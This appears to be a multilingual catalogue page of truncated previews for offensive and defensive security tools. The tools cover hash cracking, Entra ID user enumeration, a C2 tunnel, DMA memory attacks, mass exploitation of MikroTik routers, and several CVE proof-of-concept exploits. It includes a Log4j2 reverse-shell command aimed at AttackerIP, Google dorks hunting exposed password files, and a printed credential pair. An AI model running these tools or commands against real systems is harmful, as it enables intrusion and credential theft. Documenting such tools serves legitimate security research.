assless-chaps

assless-chaps MSCHAPv2/NTLMv1 challenge/response를 NT 해시 데이터베이스를 사용하여 빠르게 크랙합니다 소개 Assless CHAPs는 MSCHAPv2/NTLMv1 교환에서 challenge와 response예: WiFi EAP WPE 공격가 있을 때 사용된 NT 해시를 효율적으로 복구하는 방법입니다. NT 해시 데이터베이스가 필요하며, 기존 목록에서 생성하거나 hashcat을 단어 목록 및 규칙과 함께 사용하여 만드는 방법은 아래에 설명되어 있습니다. SecLists의 샘플 데이터베이스가...

pgaudit

pgAudit オープンソース PostgreSQL 監査ログ記録 はじめに PostgreSQL Audit Extension pgAudit は、標準の PostgreSQL ログ機能を介して、詳細なセッションおよびオブジェクトの監査ログを提供します。 pgAudit の目標は、政府、金融、ISO 認証などの要件を満たすために必要な監査ログを生成する機能を PostgreSQL ユーザーに提供することです。 監査とは、通常、独立した機関による個人または組織のアカウントの公式な検査です。pgAudit...

krakenhashes

KrakenHashes KrakenHashes는 보안 전문가와 레드 팀을 위해 설계된 분산형 비밀번호 크래킹 시스템입니다. 이 플랫폼은 여러 에이전트의 GPU/CPU 리소스를 조정하여 Hashcat과 같은 도구를 통해 고속 해시 크래킹을 안전한 웹 인터페이스를 통해 수행합니다. KrakenHashes는 해시를 위한 완전한 관리 시스템으로, 크래킹 중, 후, 그리고 반복 클라이언트의 경우 크래킹 전에도 사용할 수 있습니다. 이상적으로는 알려진 크랙에 대해 해시를 확인하면서, 모든 해시로 potfile을 업데이트하고 이를 다른 유...

Complete-google-dorks

Complete-google-sql-dorks news/news.php?id= -site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp !Host=. intext:encUserPassword= ext:pcf ?action= ?cat= ?id= ?intitle:index.of? mp3 artist-name-here ?intitle:index.of? mp3 name ?page= ?pagerequested= ?pid= " -FrontPage-" ext:pwd inurl:servi...

CredSpy

CredSpy 공개 GetCredentialType API를 사용하여 이메일 주소에 대한 Microsoft Entra ID 인증 방법을 열거합니다. 이는 Microsoft 로그인 페이지에서 사용자 이름을 입력할 때 사용하는 것과 동일한 엔드포인트입니다. GetCredentialType 메서드를 사용하는 대부분의 도구와 달리 CredSpy는 기존 계정에서 지원되는 인증 방법도 표시합니다. 보안 평가에 유용합니다: 사용자 열거, 기본 설정 인증 방법 발견, 비밀번호, Remote NGC예: Passwordless Push...

octohook

octohook C2 用 Git Web フックトンネル インストール root@kitploit: apt-get update && apt-get upgrade -y apt-get install python3-pip git -y pip install --upgrade pip pip install virtualenv virtualenv -p python venv . venv/bin/activate git clone https://github.com/dsnezhkov/octohook root@kitploit: pip install...

pipe_finder

Pipe Finder 1.0 SMB 프로토콜에서 사용 가능한 파이프 이름을 검색하는 자동화 스크립트 스크린샷 요구 사항 metasploit-framework wget locate pipeauditv2.rb 모듈 https://github.com/peterpt/pipeauditorfb - 첫 실행 시 설치됩니다. 설치 요구 사항 apt-get install metasploit-framework wget locate && updatedb updatedb는 metasploit-framework 디렉터리를 얻기 위해 'locate' ...

sharem

SHAREM SHAREM에 오신 것을 환영합니다! SHAREM은 DEFCON 31의 "Game-Changing Advances in Windows Shellcode Analysis"와 Black Hat USA Arsenal에서 발표되었습니다. Max Kersten이 제공하는 companion Ghidra 플러그인이 별도로 Trellix를 통해 공개되었습니다. 따라서 원한다면 SHAREM의 기능을 Ghidra로 확장할 수 있습니다. SHAREM은 궁극적인 Windows 셸코드 도구로 설계되었으며, 45,000개 이상의 WinAP...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 任意ファイルアップロード 作者 - Jinny Ramsmark 影響を受けるベンダー - Verot.net 影響を受ける製品 - class.upload.php = 2.0.4 新規インストールしたUbuntu 14.04（PHP5およびApache使用）でテスト済み 特にDebian/Ubuntuは、利用可能なPHPハンドラーにpht拡張子などを追加するため、脆弱性があることが判明しています。この場合、class.upload.phpはpht拡張子をブラックリストに登録していません。...

inception

注: このツールは現在活発に開発されていません。代わりに PCILeech を参照してください。 INCEPTION Inception は、PCI ベースの DMA を悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC カード、その他の PCI/PCIe ハードウェアインターフェースに対して攻撃できます。 Inception は、DMA を使用して稼働中のコンピュータに対して侵襲的・非侵襲的なメモリハックを実行する、 比較的 高速で安定した、簡単かつ拡張可能な方法を提供することを目的としています。 動作原理...

inception

Note: This tool is no longer under active development, please look at PCILeech instead. INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces...

MikroRoot

MikroRoot CVE-2018-14847 の自動化バージョン。shodan をスクレイピングして脆弱なホストを探し、それらを悪用しようとします。 使い方 このスクリプトは Python2.x では動作しないことに注意してください。Python 3+ のみを使用してください。 MikroRoot: python3 MikroRoot.py -k SHODANKEY -p page count User: ncss Pass: ncss!@2018 IP: 1.2.3.4 引数 -p スクレイピングするページ数 -k Shodan キー エクスプロイトの作者...

CVE-2021-40346-POC

CVE-2021-40346-POC CVE-2021-40346 の整数オーバーフローにより HTTP スマグリングが可能になる 整数オーバーフローによる HTTP リクエストスマグリング 中国語分析：HAProxy リクエストスマグリング脆弱性（CVE-2021-40346）分析 参照: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/ ビルド root@kitploit: git clone...

heimdall_webserver

주의, 이 프로젝트는 베타 버전입니다. 많은 버그와 문제가 있습니다. 프로젝트를 도우려면 실 환경이 아닌 실습 환경에서 사용하세요. 아니요, 아직 HTTPS가 구현되지 않았습니다. 다음 업데이트에서 제공될 예정입니다. Heimdall 닉스 서버의 취약한 패키지를 중앙에서 관리하는 도구입니다. 시작하기 전에 root@kitploit: Python pip가 설치되어 있어야 합니다. 다음 명령어로 확인하세요. which pip pip가 설치되어 있다면 다음을 실행하세요. pip install -U pip pip가 설치되어 있지 않다...

ma2tl

ma2tl macapt에서 타임라인으로 이것은 macapt의 분석 결과 DB에서 macOS 포렌식 타임라인을 생성하는 DFIR 도구입니다. 요구 사항 Python 3.7.0 이상 pytz tzlocal xlsxwriter 설치 root@kitploit: % git clone https://github.com/mnrkbys/ma2tl.git 사용법 root@kitploit: % python ./ma2tl.py -h usage: ma2tl.py -h -i INPUT -o OUTPUT -ot OUTPUTTYPE -s START -e...

AnonGT

AnonGT - 匿名ゴースト Kali Linux 向けにすべてのトラフィックを Tor ネットワーク経由でリダイレクト v1.0.0 説明 すべてのトラフィックをTORネットワーク経由でリダイレクトするスクリプト（以下を含む） システム全体を匿名化するためのDNSクエリ 危険なアプリケーションの強制終了 設定とログのクリア Firefoxブラウザの匿名化 タイムゾーン変更 MACアドレス変更 IPを自動的に変更 MITM対策 オニオンリンク検索エンジン オニオンリンクチェッカー ファイルを匿名で共有/受信 Torネットワーク上の匿名チャット ダークウェブにウェブサイトをホスト！...

aegis

Aegis Aegis는 실리콘부터 완전한 오픈 소스 FPGA입니다. 오픈 소스 FPGA 노력은 큰 진전을 이루었습니다. Project IceStorm과 Apicula는 독점 비트스트림 포맷을 리버스 엔지니어링하고, OpenFPGA와 FABulous는 아키텍처 설명에서 오픈 FPGA 패브릭을 생성하며, Cologne Chip의 GateMate는 완전한 오픈 소스 툴체인을 갖춘 상용 FPGA를 출시합니다. 이러한 프로젝트들이 각각 퍼즐의 일부를 해결하는 반면, Aegis는 풀스택, 종단 간 오픈 소스 FPGA입니다: 패브릭 생성,...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...

Dirty_Stream-Android-POC

免責事項 このプロジェクトは教育目的のみで提供されています。作者は、いかなる違法行為や悪意のある活動も容認または支持しません。このエクスプロイトの使用は、すべて自己責任で行ってください。作者は、このコードの使用によって生じたいかなる損害や法的結果についても責任を負いません。 DirtyStream-Android-POC これは MI-File Explorer V1-210567 バージョン向けのエクスプロイトです。pwned.txt を "/data/user/0/com.mi.android.globalFileexplorer/sharedprefs" ディレクトリに書き込みます...

Drag-and-Drop-Multiple-File-Uploader-PRO-Path-Traversal

CVE-2023-1112 - Drag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 パストラバーサル 情報 Drag and Drop Multiple File Uploader PRO - Contact Form 7 バージョン 5.0.6.1 のパストラバーサルにより、未認証のリモート攻撃者がリモートサーバー上の書き込み可能な任意の場所にファイルをアップロードできます CVE-2023-1112。...